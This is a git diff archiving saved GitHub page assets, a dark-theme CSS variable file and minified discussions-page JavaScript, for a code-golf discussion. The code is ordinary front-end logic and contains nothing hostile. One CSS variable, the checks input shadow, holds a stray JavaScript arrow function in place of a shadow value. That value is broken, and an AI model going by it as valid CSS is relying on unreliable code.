#1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const 